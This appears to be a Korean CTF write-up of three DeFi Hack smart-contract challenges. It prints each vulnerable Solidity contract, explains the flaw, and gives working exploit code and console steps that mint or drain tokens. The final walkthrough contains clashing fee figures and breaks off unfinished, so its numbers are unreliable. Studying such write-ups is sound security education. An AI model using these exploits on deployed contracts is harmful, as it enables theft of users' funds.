This article offers a brief summary and exploit code of DeFi Hack’s each challenge.
Hardhat based Project is here!
# 1. May The Force Be With You
Summary
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MayTheForceBeWithYou is ERC20, ReentrancyGuard {
using SafeMath for uint256;
MiniMeToken public yoda;
event Withdraw(address indexed beneficiary, uint256 amount);
event Deposit(address indexed beneficiary, uint256 amount);
// Define the Yoda token contract
constructor(address _underlying) ERC20("xYODA", "xYODA") public {
yoda = MiniMeToken(_underlying);
}
function deposit(uint256 amount) external nonReentrant {
// Gets the amount of YODA locked in the contract
uint256 totalYoda = yoda.balanceOf(address(this));
// Gets the amount of xYODA in existence
uint256 totalShares = totalSupply();
// If no xYODA exists, mint it 1:1 to the amount put in
if (totalShares == 0 || totalYoda == 0) {
_mint(msg.sender, amount);
}
// Calculate and mint the amount of xYODA the YODA is worth. The ratio will change overtime, as xYODA is burned/minted and YODA deposited + gained from fees / withdrawn.
else {
uint256 what = amount.mul(totalShares).div(totalYoda);
_mint(msg.sender, what);
}
// Lock the YODA in the contract
yoda.transferFrom(msg.sender, address(this), amount);
emit Deposit(msg.sender, amount);
}
function withdraw(uint256 numberOfShares) external nonReentrant {
// Gets the amount of xYODA in existence
uint256 totalShares = totalSupply();
// Calculates the amount of YODA the xYODA is worth
uint256 what =
numberOfShares.mul(yoda.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, numberOfShares);
yoda.transfer(msg.sender, what);
emit Withdraw(msg.sender, what);
}
}
contract MiniMeToken is Ownable {
using SafeMath for uint256;
string public name;
uint8 public decimals;
string public symbol;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 totalSupply;
constructor(
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) public
{
name = _tokenName; // Set the name
decimals = _decimalUnits; // Set the decimals
symbol = _tokenSymbol; // Set the symbol
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
if (allowed[_from][msg.sender] < _amount)
return false;
allowed[_from][msg.sender] -= _amount;
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
if (balances[_from] < _amount) {
return false;
}
// First update the balance array with the new value for the address
// sending the tokens
balances[_from] = balances[_from] - _amount;
// Then update the balance array with the new value for the address
// receiving the tokens
require(balances[_to] + _amount >= balances[_to]); // Check for overflow
balances[_to] = balances[_to] + _amount;
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function mint(address _owner, uint256 _amount) public onlyOwner {
balances[_owner] = _amount;
totalSupply += _amount;
}
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
deposit()
함수가 호출하는 MinimeToken::trasnferFrom()
-> MinimieToken::doTrasnfer()
에 취약점이 존재한다.
토큰 전송 도중 문제가 발생할 경우, revert 등을 호출해야 하는데 true/false로 값을 반환하고 있다. (== 문제가 있어도 트랜잭션이 그대로 실행된다!)
이로 인해, 사용자가 MayTheForceBeWithYou()
컨트랙트에 보낼 토큰이 없어서 deposit()
함수에서 문제가 발생하더라도,
revert로 트랜잭션 롤백을 수행하지 않기 때문에, _mint(msg.sender, amount);
를 통해 공격자 마음대로 토큰 발행(mint)이 가능하다.
Exploit
> const balanceOf_ABI = [
{
constant: true,
inputs: [{ name: "_owner", type: "address" }],
name: "balanceOf",
outputs: [{ name: "balance", type: "uint256" }],
type: "function",
},
];
> let yoda_contract = new web3.eth.Contract(balanceOf_ABI, yoda);
> await yoda_contract.methods.balanceOf(player).call();
'0'
> await yoda_contract.methods.balanceOf(contract.address).call();
'69420'
> await contract.deposit(69420);
> await contract.withdraw(69420);
> await yoda_contract.methods.balanceOf(player).call();
'69420'
> await yoda_contract.methods.balanceOf(contract.address).call();
'0'
// Submit
# 2. DiscoLP
Summary
pragma solidity >=0.6.5;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Babylonian.sol";
contract DiscoLP is ERC20, Ownable, ReentrancyGuard
{
using SafeERC20 for IERC20;
address public immutable reserveToken;
constructor (string memory _name, string memory _symbol, uint8 _decimals, address _reserveToken)
ERC20(_name, _symbol) public
{
_setupDecimals(_decimals);
assert(_reserveToken != address(0));
reserveToken = _reserveToken;
_mint(address(this), 100000 * 10 ** 18); // some inital supply
}
function calcCostFromShares(uint256 _shares) public view returns (uint256 _cost)
{
return _shares.mul(totalReserve()).div(totalSupply());
}
function totalReserve() public view returns (uint256 _totalReserve)
{
return IERC20(reserveToken).balanceOf(address(this));
}
// accepts only JIMBO or JAMBO tokens
function depositToken(address _token, uint256 _amount, uint256 _minShares) external nonReentrant
{
address _from = msg.sender;
uint256 _minCost = calcCostFromShares(_minShares);
if (_amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
uint256 _cost = UniswapV2LiquidityPoolAbstraction._joinPool(reserveToken, _token, _amount, _minCost);
uint256 _shares = _cost.mul(totalSupply()).div(totalReserve().sub(_cost));
_mint(_from, _shares);
}
}
library UniswapV2LiquidityPoolAbstraction
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
address _otherToken = _token == _token0 ? _token1 : _token0;
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
_approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token;
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
_approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}
function _calcSwapOutputFromInput(uint256 _reserveAmount, uint256 _inputAmount) private pure returns (uint256)
{
return Babylonian.sqrt(_reserveAmount.mul(_inputAmount.mul(3988000).add(_reserveAmount.mul(3988009)))).sub(_reserveAmount.mul(1997)) / 1994;
}
function _approveFunds(address _token, address _to, uint256 _amount) internal
{
uint256 _allowance = IERC20(_token).allowance(address(this), _to);
if (_allowance > _amount) {
IERC20(_token).safeDecreaseAllowance(_to, _allowance - _amount);
}
else
if (_allowance < _amount) {
IERC20(_token).safeIncreaseAllowance(_to, _amount - _allowance);
}
}
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface Router01
{
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface Router02 is Router01
{
}
interface PoolToken is IERC20
{
}
interface Pair is PoolToken
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
DiscoLP 컨트랙트는 유동성 마이닝 프로토콜로 사용자는 JIMBO나 JAMBO 토큰을 예치함으로써 참여가 가능하다. 사용자가 예치한 토큰들은 유동성으로써 JIMBO-JAMBO 유니스왑 Pair 컨트랙트에 공급된다.
공격자는 1 JIMBO 토큰과 1 JAMBO 토큰을 가지고 시작하며, DiscoLP로부터 100개 이상의 DISCO 토큰을 가져오는 것이 목표이다.
DiscoLP 컨트랙트에서 발행하는 DISCO 토큰은 사용자가 예치(deposit)한 JIMBO나 JAMBO 토큰에 대한 보상으로 발행되며, UniswapV2LiquidityPoolAbstraction::joinPool()
에 의해 계산된 수량을 받게된다.
아래와 같이 초기 설정값 기준으로 개별로 예치시 1 토큰당 약 0.5(0.499..) DISCO 토큰을 보상으로 발행받을 수 있으며, Pair로 함께 예치할 경우 약 1(0.998) DISCO 토큰을 받을 수 있다.
> await this.jimbo.connect(attacker).approve(this.disco_lp.address, ethers.utils.parseEther("1"));
> await this.disco_lp.connect(attacker).depositToken(this.jimbo.address, ethers.utils.parseEther("1"), 1);
> this.disco_lp.balanceOf(attacker);
0.499
> await this.jambo.connect(attacker).approve(this.disco_lp.address, ethers.utils.parseEther("1"));
> await this.disco_lp.connect(attacker).depositToken(this.jambo.address, ethers.utils.parseEther("1"), 1);
> this.disco_lp.balanceOf(attacker);
0.998
이러한 상황에서 공격자가 가진 1 JIMBO / 1 JAMBO로 100 DISCO 토큰을 획득할 수는 없으므로, 취약점을 찾아내 이용하여 100 DISCO 토큰을 확보해야 한다.
다음과 같이 DiscoLP::depositToken()
의 상단부에는 주석으로 JIMBO / JAMBO 토큰만 예치가 가능하다고 되어 있다.
// accepts only JIMBO or JAMBO tokens
function depositToken(address _token, uint256 _amount, uint256 _minShares) external nonReentrant
{
...
}
하지만 UniswapV2LiquidityPoolAbstraction::joinPool()
에 존재하는 취약점으로 인해 공격자가 만든 임의의 토큰을 예치하고 DISCO 토큰을 발행하는 것이 가능하다.
// accepts only JIMBO or JAMBO tokens
function depositToken(address _token, uint256 _amount, uint256 _minShares) external nonReentrant
{
address _from = msg.sender;
uint256 _minCost = calcCostFromShares(_minShares);
if (_amount != 0) {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
uint256 _cost = UniswapV2LiquidityPoolAbstraction._joinPool(router, reserveToken, _token, _amount, _minCost); // ** 예치 요청
uint256 _shares = _cost.mul(totalSupply()).div(totalReserve().sub(_cost));
_mint(_from, _shares);
}
...
function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
address _otherToken = _token == _token0 ? _token1 : _token0;
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
_approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token; // ** swapExactTokensForTokens() 호출 시, swap path를 JIMBO/JAMBO가 아닌 다른 토큰으로도 지정 가능
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1]; // ?? -> JIMBO or JAMBO
_approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}
위 코드와 같이, _path[0] = _token;
으로 인해 JIMBO/JAMBO 토큰 이외에 Uniswap Router에 페어로 등록된 토큰을 예치하여 DISCO 토큰을 발행할수 있는 취약점이 존재한다.
Exploit
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IDiscoLP {
function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
}
contract Token2_Exploit is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256-1);
}
}
contract DiscoLPExploit {
address public factory;
address public router;
address public disco_lp;
address public reserve_pair;
address public jimbo_a;
address public jambo_b;
address public attacker;
using SafeMath for uint256;
uint256 public test;
constructor (address _factory, address _router, address _disco_lp, address _reserve_pair) public {
factory = _factory;
router = _router;
disco_lp = _disco_lp;
reserve_pair = _reserve_pair;
attacker = msg.sender;
}
function exploit() public {
jimbo_a = IUniswapV2Pair(reserve_pair).token0();
jambo_b = IUniswapV2Pair(reserve_pair).token1();
Token2_Exploit exp = new Token2_Exploit("Exploit Token", "EXP");
address pair = IUniswapV2Factory(factory).createPair(address(exp), address(jimbo_a));
IERC20(exp).approve(router, 2**256 - 1);
IERC20(jimbo_a).approve(router, 2**256 - 1);
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(router).addLiquidity(
address(exp),
jimbo_a,
1 * 10 ** 18,
1 * 10 ** 18,
1, 1, address(this), 2**256 - 1);
IERC20(exp).approve(disco_lp, 2**256 - 1);
IDiscoLP(disco_lp).depositToken(address(exp), 2000000000 * 10 ** 18, 1);
}
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
let pair_addr = await this.disco_lp_factory.reserveToken();
const ExploitFactory = await ethers.getContractFactory("DiscoLPExploit", attacker);
this.exploit = await ExploitFactory.deploy(this.uniswap_factory.address, this.uniswap_router.address, this.disco_lp.address, pair_addr);
await this.jimbo.connect(attacker).transfer(this.exploit.address, ethers.utils.parseEther("1"));
await this.jambo.connect(attacker).transfer(this.exploit.address, ethers.utils.parseEther("1"));
await this.exploit.exploit();
# 3. P2PSwapper
Summary
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); }
function sub(uint a, uint b) internal pure returns (uint c) { require(a >= b); c = a - b; }
function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); }
function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; }
}
contract P2P_WETH {
using SafeMath for uint;
string public name = "P2P SwapWrapped Ether";
string public symbol = "P2PETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
receive() payable external {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] = balanceOf[msg.sender].add(msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(
uint wad
) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(wad);
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(
address guy,
uint wad
) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(
address dst,
uint wad
) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(2 ** 256-1 )) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] = balanceOf[src].sub(wad);
balanceOf[dst] = balanceOf[dst].add(wad);
emit Transfer(src, dst, wad);
return true;
}
}
interface IP2P_WETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
function balanceOf(address) external returns (uint);
function approve(address,uint) external returns (bool);
}
contract P2PSwapper {
using SafeMath for uint;
struct Deal {
address initiator;
address bidToken;
uint bidPrice;
address askToken;
uint askAmount;
uint status;
}
enum DealState {
Active,
Succeeded,
Canceled,
Withdrawn
}
event NewUser(address user, uint id, uint partnerId);
event WithdrawFees(address partner, uint userId, uint amount);
event NewDeal(address bidToken, uint bidPrice, address askToken, uint askAmount, uint dealId);
event TakeDeal(uint dealId, address bidder);
event CancelDeal(uint dealId);
uint public dealCount;
mapping(uint => Deal) public deals;
mapping(address => uint[]) private _dealHistory;
uint public userCount;
mapping(uint => uint) public partnerFees;
mapping(address => uint) public distributedFees;
mapping(uint => uint) public partnerById;
mapping(address => uint) public userByAddress;
mapping(uint => address) public addressById;
IP2P_WETH public immutable p2pweth;
constructor(address weth) public {
p2pweth = IP2P_WETH(weth);
userByAddress[msg.sender] = 1;
addressById[1] = msg.sender;
partnerById[1] = 1;
}
bool private entered = false;
modifier nonReentrant() {
require(entered == false, 'P2PSwapper: re-entrancy detected!');
entered = true;
_;
entered = false;
}
function createDeal(
address bidToken,
uint bidPrice,
address askToken,
uint askAmount
) external payable returns (uint dealId) {
uint fee = msg.value;
require(fee > 31337, "P2PSwapper: fee too low");
p2pweth.deposit{value: msg.value}();
partnerFees[userByAddress[msg.sender]] = partnerFees[userByAddress[msg.sender]].add(fee.div(2));
TransferHelper.safeTransferFrom(bidToken, msg.sender, address(this), bidPrice);
dealId = _createDeal(bidToken, bidPrice, askToken, askAmount);
}
function takeDeal(
uint dealId
) external nonReentrant {
require(dealCount >= dealId && dealId > 0, "P2PSwapper: deal not found");
Deal storage deal = deals[dealId];
require(deal.status == 0, "P2PSwapper: deal not available");
TransferHelper.safeTransferFrom(deal.askToken, msg.sender, deal.initiator, deal.askAmount);
_takeDeal(dealId);
}
function cancelDeal(
uint dealId
) external nonReentrant {
require(dealCount >= dealId && dealId > 0, "P2PSwapper: deal not found");
Deal storage deal = deals[dealId];
require(deal.initiator == msg.sender, "P2PSwapper: access denied");
TransferHelper.safeTransfer(deal.bidToken, msg.sender, deal.bidPrice);
deal.status = 2;
emit CancelDeal(dealId);
}
function status(
uint dealId
) public view returns (DealState) {
require(dealCount >= dealId && dealId > 0, "P2PSwapper: deal not found");
Deal storage deal = deals[dealId];
if (deal.status == 1) {
return DealState.Succeeded;
} else if (deal.status == 2 || deal.status == 3) {
return DealState(deal.status);
} else {
return DealState.Active;
}
}
function dealHistory(
address user
) public view returns (uint[] memory) {
return _dealHistory[user];
}
function signup() public returns (uint) {
return signup(1);
}
function signup(uint partnerId) public returns (uint id) {
require(userByAddress[msg.sender] == 0, "P2PSwapper: user exists");
require(addressById[partnerId] != address(0), "P2PSwapper: partner not found");
id = ++userCount;
userByAddress[msg.sender] = id;
addressById[id] = msg.sender;
partnerById[id] = partnerId;
emit NewUser(msg.sender, id, partnerId);
}
function withdrawFees(address user) public nonReentrant returns (uint fees) {
uint userId = userByAddress[user];
require(partnerById[userId] == userByAddress[msg.sender], "P2PSwapper: user is not your referral");
fees = partnerFees[userId].sub(distributedFees[user]);
require(fees > 0, "P2PSwapper: no fees to distribute");
distributedFees[user] = distributedFees[user].add(fees);
p2pweth.withdraw(fees);
TransferHelper.safeTransferETH(msg.sender, fees);
emit WithdrawFees(msg.sender, userId, fees);
}
function _createDeal(
address bidToken,
uint bidPrice,
address askToken,
uint askAmount
) private returns (uint dealId) {
require(askToken != address(0), "P2PSwapper: invalid address");
require(bidPrice > 0, "P2PSwapper: invalid bid price");
require(askAmount > 0, "P2PSwapper: invalid ask amount");
dealId = ++dealCount;
Deal storage deal = deals[dealId];
deal.initiator = msg.sender;
deal.bidToken = bidToken;
deal.bidPrice = bidPrice;
deal.askToken = askToken;
deal.askAmount = askAmount;
_dealHistory[msg.sender].push(dealId);
emit NewDeal(bidToken, bidPrice, askToken, askAmount, dealId);
}
function _takeDeal(
uint dealId
) private {
Deal storage deal = deals[dealId];
TransferHelper.safeTransfer(deal.bidToken, msg.sender, deal.bidPrice);
deal.status = 1;
emit TakeDeal(dealId, msg.sender);
}
receive() external payable {
require(msg.sender == address(p2pweth), "P2PSwapper: transfer not allowed");
}
}
P2PSwapper 컨트랙트는 어떠한 자산이든 쉽게 거래할 수 있는 Peer To Peer DEX 기능을 지원한다. 거래 수수료(fee)도 거래금액과 상관없이 균등하다.
아래와 같이 1개의 계약(deal)이 이미 생성되어 있으며, P2PSwapper 컨트랙트는 해당 계약에 따른 거래수수료인 313337 WETH를 가지고 있다.
해당 수수료는 P2PSwapper::withdrawFees()
를 통해 분배되며, 레퍼럴로 등록된 사용자에게 공평하게 분배되도록 설계되어 있다.
공격자는 P2PSwapper가 수수료 명목으로 가지고 있는 313337 WETH 잔액을 모두 가져오는 것이 목표이다.
> await contract.dealCount();
words: (2) [1, empty]
> await contract.deals(1);
askAmount: BN {negative: 0, words: Array(3), length: 2, red: null}
words: (3) [10817536, 14901, empty] // 0xe8d4a51000
askToken: "0xEE3CE32f75A2b8788dA0a9B5180716aa6b59E7a1"
bidPrice: BN {negative: 0, words: Array(2), length: 1, red: null}
words: (2) [1, empty]
bidToken: "0xEE3CE32f75A2b8788dA0a9B5180716aa6b59E7a1"
initiator: "0xdb6690E037Df8FEbc7D738C6abD50Da0a8609F7e"
status: BN {negative: 0, words: Array(2), length: 1, red: null}
words: (2) [0, empty]
취약점은 수수료를 레퍼럴에 따라 분배하는 P2PSwapper::withdrawFees()
함수에 존재한다.
function withdrawFees(address user) public nonReentrant returns (uint fees) {
uint userId = userByAddress[user]; // 사용자 주소를 이용해 ID 확인
require(partnerById[userId] == userByAddress[msg.sender], "P2PSwapper: user is not your referral"); // ** 레퍼럴 가입 여부 체크 : 개발자의 의도는 1 == partnerById[userId] == userByAddress[msg.sender] 인 경우 레퍼럴로 체크하고 수수료를 분배하는 것
// 등록되지 않은 사용자의 명의로 partnerById[] 조회 시 결과는 0이고, 등록되지 않은 msg.sender에 의해 userByAddress[msg.sender]의 결과도 0으로 signup() 없이 우회
fees = partnerFees[userId].sub(distributedFees[user]); // 분배할 fee 계산
require(fees > 0, "P2PSwapper: no fees to distribute");
distributedFees[user] = distributedFees[user].add(fees);
p2pweth.withdraw(fees);
TransferHelper.safeTransferETH(msg.sender, fees); // fee는 user가 아닌 msg.sender에게 전송됨
emit WithdrawFees(msg.sender, userId, fees);
}
개발자의 의도는 require(partnerById[userId] == userByAddress[msg.sender], "P2PSwapper: user is not your referral");
구문을 통해 userByAddress[]
의 결과값인 사용자 식별값(userId)이 1인 사용자에게만 fee를 분배하는 것이다. (userByAddress[]
값이 1인 경우는 컨트랙트 배포자와 첫 가입자뿐이라, 다른 사용자는 fee를 분배받을 수 없도록 의도)
기존에 수수료는 partnetById[1]
인 경우에, partnerFees[1]의 금액인 313337 / 2 = 156668을 전송하도록 되어있다.
하지만 해당 구문에 취약점이 존재하며, 등록되지 않은 사용자의 명의로 partnerById[]
조회 시 결과는 0이고, 등록하지 않은 사용자가 요청한 userByAddress[msg.sender]
의 결과도 0으로 require문을 우회할 수 있다.
이 경우 partnerFees[0]
에 명시된 fee를 분배받을 수 있다.
또한 수수료는 withrawFees(address user)
함수로 전달된 사용자의 주소가 아닌, 트랜잭션을 송신한 msg.sender에제 전송된다.
Exploit
(0) P2PSwapper
컨트랙트는 배포 및 첫번째 거래 생성 후, 313339 WETH 잔액 보유
(1) 공격자는 P2PWETH
컨트랙트를 이용해, WETH 예치 (ETH -> WETH)
await this.weth.connect(attacker).deposit({value: ethers.utils.parseEther("1")});
(2) P2PSwapper::createDeal()
을 이용해 거래를 생성하기 위해, WETH 전송 approve (player EOA -> P2PSwapper Cotnract)
await this.weth.connect(attacker).approve(this.p2p.address, ethers.utils.parseEther("1"));
(3) P2PSwapper::createDeal()
을 이용해 거래를 생성 시, msg.value(수수료)를 12000000으로 지정
-
이 때,
P2PWETH
에 수수료로 분배되기 위해 예치된 잔액은 1513339 WETH (313339 + 1200000) -
거래 생성을 통해 등록되지 않은 사용자에게 분배될 수수료인
partnerFees[0]
(레퍼럴 0) 수수료 지정 가능 -
partnerFees[0]
은 로직에 따라 6000000 (12000000 / 2)
await this.p2p.connect(attacker).createDeal(this.weth.address, 1, this.weth.address, 1, {value: 1200000});
(4) 공격자가 임의의 주소값을 전달하여 P2PSwapper::withdrawFees()
2번 호출
- 1513339 - 60000 - 60000 수수료 분배 후, 313339 WETH 잔액 보유
await this.p2p.connect(attacker).withdrawFees(temp1.address);
await this.p2p.connect(attacker).withdrawFees(temp2.address);
(5) P2PWETH
에 286661 WETH 전송 후, P2PSwapper::withdrawFees()
호출
